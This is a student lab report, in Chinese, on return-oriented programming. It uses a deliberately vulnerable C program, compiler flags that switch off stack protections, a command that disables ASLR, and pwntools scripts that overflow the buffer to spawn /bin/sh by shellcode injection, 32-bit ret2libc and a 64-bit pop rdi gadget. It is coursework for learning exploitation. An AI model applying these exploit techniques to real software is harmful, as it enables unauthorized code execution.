实验2:ROP技术基础

1. 实验条件

  • Linux虚拟机(Kali)

  • 源文件(rop1.c)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #include<stdio.h>
    void vuln(){
    char buf[128];
    read(0,buf,256);
    }
    int main(){
    vuln();
    write(1,"hello rop\n",10);
    }

2. 实验原理

点击查看

        ROP (Return Oriented Programming),主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。可以将gadget形象的比喻成搭积木的过程,将散落在各地址的所需操作和数据收集起来,通过拼接已达到shellcode的效果。

        ROP攻击需要满足的条件:

  • 程序存在溢出,并且可以控制返回地址。
  • 可以找到满足条件的 gadgets以及相应gadgets的地址。

3. 实验要求

  1. 针对实验一,通过gdb调试rop1,确定shellcode的地址;此外,通过rop1.py的调试脚本确定shellcode地址;最终拿到shell权限。相关详细分析过程写入报告,并比较两种方法的特点。
  2. 针对实验二的32位环境和64位环境,通过调试分析,完成实际rop2.py和rop3.py(预留有空白和错误之处),最终拿到shell权限。相关详细分析过程写入报告

4. 实验步骤

4.1 程序流的劫持

关闭ALSR地址空间随机化。其开启会导致同一应用多次执行所使用的内存完全不同。

1
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

rop1.c进行编译,并关闭栈保护和NX保护。

1
gcc rop1.c -o rop1 -m32 -fno-stack-protector -z execstack

        -fno-stack-protector为关闭Canary保护,确保栈溢出可执行,-z execstack为打开栈的可执行权限,-no-pie关闭编译器地址随机化,-g是加入调试信息,让编译后的二进制文件启用调试,-o表示输出源文件的名称。

出现以下报错:

        通过查询发现其原因:缺少相应的32位库文件导致的。解决方法为运行以下命令后,再次在64位平台上编译32位应用程序。

1
sudo apt-get install gcc-multilib

之后再次编译,出现以下报错:

        解决办法为在rop1.c加入头文件#include<unistd.h>,再次编译即可通过。可能还会如上图出现warning的报错,其实不是error可以直接无视,不影响实验

        安装checksec,用其进行确认机制是否关闭。可以看到栈保护和NX保护已经关闭,另外如下图也可以了解该可执行文件为32位小端存储。另外checksec使用的参数可能因版本不同而不同,老版本的文件引用直接写文件名即可。

1
2
apt install checksec
checksec --file=rop1

        安装pwntools模块,其集成了pwn中所需要的使用的功能模块。因为使用Kail搭建的环境,如果需要安装python2版本的pwntools,需要先安装pip2

1
pip install pwntools

        运行gdb,用其pwndbg插件对可执行文件rop1进行分析。disass vuln为查看vuln函数的汇编指令。当然也可以拖入ida对其进行静态分析。

1
2
gdb rop1
disass vuln

通过分析可以大概画出栈的结构。

        如图可看出,payload中除了shellcode外要填充足够长度以覆盖返回地址。buf数组的地址为ebp-0x88,即距离ebp有0x88字节,ebp距离返回地址又0x4字节(32位),要覆盖返回地址前需先填充0x8c个字节。

        之后,需要将返回地址覆盖为执行'/bin/sh'shellcode的地址,从而获取shell。因此接下来需要寻找或创建执行'/bin/sh'shellcode的存储地址,并将其地址写入payload中。编写python脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# coding=utf-8
from pwn import *
#执行rop1进程
p = process('./rop1')
#开启gdb调试,并在vuln函数处设置断点
#gdb.attach(p,'b vuln')
#shellcode
shellcode = asm(shellcraft.sh())
#shellcode的地址暂且写为0xdeadbeef
shellcode_addr = 0xdeadbeef
#构造payload并发送
payload = shellcode.ljust(0x8c,'a')+p32(shellcode_addr)
p.sendline(payload)
#进入交互模式
p.interactive()
  • 脚本中利用pwn中的shellcraft模块生成shellcode,其中shellcraft.sh()为生成执行的/bin/sh的shellcode,再利用asm()把shellcode转换成机器码。
  • ljust(0x8c,'a')表示向shellcode左对齐后,向后填充字符a直到达到0x8c长度。
  • p32()会将数字转换成字符,如p32(0xdeadbeef)->'\xef\xbe\xad\xde'

        然而在终端进行gdb调试程序,查看内存得到的地址和真正执行程序的地址是不一样的,gdb的调试环境会影响buf变量在内存中的地址。因此提供了两种获取真实地址的方法。

  1. 方法一:开启core dump(用命令可开启)

    1
    gdb rop1 core

            此时pwndbg会运行到返回地址结束位置,因返回地址找不到而中断。即为esp = buf + 0x8c + 0x4的位置,因此buf的真正地址为esp-0x90。

    当然也可以i r获取当前esp寄存器为0xffffd130,做运算后也可得0xffffd0a0

    之后改正脚本中buf的地址运行,即可获取shell。

  2. 方法二:在脚本中进行gdb调试获取buf数组真实地址

    首先,在python脚本中pause()阻塞停止函数。

    然后运行脚本,如下图返回了pid进程号,并且程序发生阻塞。

            再打开一个终端,gdb进入pwndbg,并输入attach 382891捕获该进程,返回之前程序阻塞的终端输入任意键继续,再pwndbg中可n继续执行程序。

            当运行到返回地址处找不到0xdeadbeef处,出现报错。此时可以看到ecx寄存器地址上的内容正是shellcode,与core方法中的地址也符合。

    之后同core方法一样,更改脚本0xdeadbeef为正确的地址,运行即可获取shell。

4.2 ROP绕过NX保护

        在实验一中将shellcode通过不安全的read函数写入栈中,并利用返回地址找到并运行该段内容。而在实验一的基础上开启NX保护,意味着栈空间内容不再具有可执行的权限,但是程序中用到了libc库中的read和printf函数,libc.so中保存了大量执行函数,因此可以考虑调用其中的内容拼凑system('/bin/sh')来获取shell。

        实验二将会分别分析32位和64位程序。因为32位和64位存在参数传递上的区别,32位使用栈帧来作为传递参数的保存位置,64位使用rdi,rsi,rdx,rcx,r8,r9寄存器保存第1-6个参数,rax作为返回值。32位用ebp作为栈帧指针,64位没有栈帧的指针,64位取消了这个设定,从而rbp作为通用寄存器使用。

4.2.1 32位

编译rop1.c文件,只关闭了Canary栈保护,并通过checksec验证。

1
2
gcc rop1.c -o rop2 -m32 -fno-stack-protector
checksec --file=rop2

首先,获取system函数地址,因为关闭了ASLR,system函数在内存中的地址不会发生改变。

1
2
3
4
gdb rop2
b vuln
r
print system

之后,在pwndbg中vmmap查看程序堆栈结构,并在libc.so的栈地址范围内寻找字符串/bin/sh

1
vmmap

1
find 0xf7dc2000,0xf7fae000,"/bin/sh"

        通过上述过程可以得到:vuln函数返回地址应该写入system函数地址0x7e07160,system函数参数”/bin/sh”地址应写入0xf7f51924

最后,编写python脚本。

1
2
3
4
5
6
7
8
from pwn import *

p = process('./rop2')
sys_addr = 0xf7e07160
binsh_addr = 0xf7f51924
payload = 'a' * 0x8c + p32(sys_addr)+p32(0xdeadbeef)+p32(binsh_addr)
p.sendline(payload)
p.interactive()

        其中,'a' * 0x8c同实验1一样是为填充buf申请的内存空间和ebp返回地址。p32(sys_addr)为vuln返回地址去找system函数地址,p32(0xdeadbeef)为system函数返回地址,填一个无效地址即可,因为获取shell后没有其他操作了,p32(binsh_addr)为system的参数地址,去找/bin/sh拼凑。

4.2.2 64位

编译rop1.c文件,只开启Canary栈保护,并通过checksec验证。

1
2
gcc rop1.c -g -o rop3 -m64 -fno-stack-protector
checksec --file=rop3

        因为参数不会向32位一样放在栈上,需要寻找类似于pop rdi;ret的gadget,将参数从栈中弹出到rdi寄存器后,返回到返回地址处继续执行。至于为什么要找尚未所说样式的gadget,见参考文章

        该实验将在栈中事先压入参数'/bin/sh'地址和system地址。首先同32位实验一样,找到系统中system函数地址以及'/bin/sh'存储地址,分别为0x7ffff7e35e100x7ffff7f7569b,可以看出与32位系统中的地址值不同。

借助ROPgadgets工具查找gadget,在libc.so中查找可用的gadgets。先确定rop3使用的共享库列表。

ROPgadgets查找结果如下,其中0x277d5是相对于libc.so的偏移。其指令查找对rdi寄存器操作的pop或ret指令。

1
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret"|grep rdi

        用之前vmmap获取的libc.so首地址(通过上文vmmap得到的首地址)加上这个偏移,就得到了最终的地址。需要注意的是64位系统编译出的buf地址也发生了改变,需要再次查看。

之后编写python脚本。

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process('./rop3')
sys_addr = 0x7ffff7e35e10
binsh_addr = 0x7ffff7f7569b
pr_addr = 0x7ffff7dec000 + 0x277d5
payload = 'a'*0x88+p64(pr_addr)+p64(binsh_addr)+p64(sys_addr)+p64(0xdeadbeef)
p.sendline(payload)

p.interactive()

        其中,'a' * 0x88是为填充buf申请的0x80内存空间和ebp返回地址,因为是64位所以返回地址是0x8大小。p64(pr_addr)为vuln返回地址去找pop rdi;ret 指令的地址,p64(binsh_addr)为弹入rdi中的字符串地址,p64(sys_addr)为ret返回地址,system函数返回地址p64(deadbeef),因无后续操作填写无效地址。最后运行脚本获取shell。

5. 实验总结

        这个实验欠了得有两周,整个实验做下来是非常坐牢的,个人感觉pwn确实是很难入门,需要大量的知识储备、对寄存器,堆栈空间的想象能力以及面对陌生的工具集和指令。很多地方跟着老师ppt可以很简单的做下来,但是大部分地方不知所以然,需要去查资料、看视频来学基础知识,扣每个细节。

鸣谢❀参考大佬文章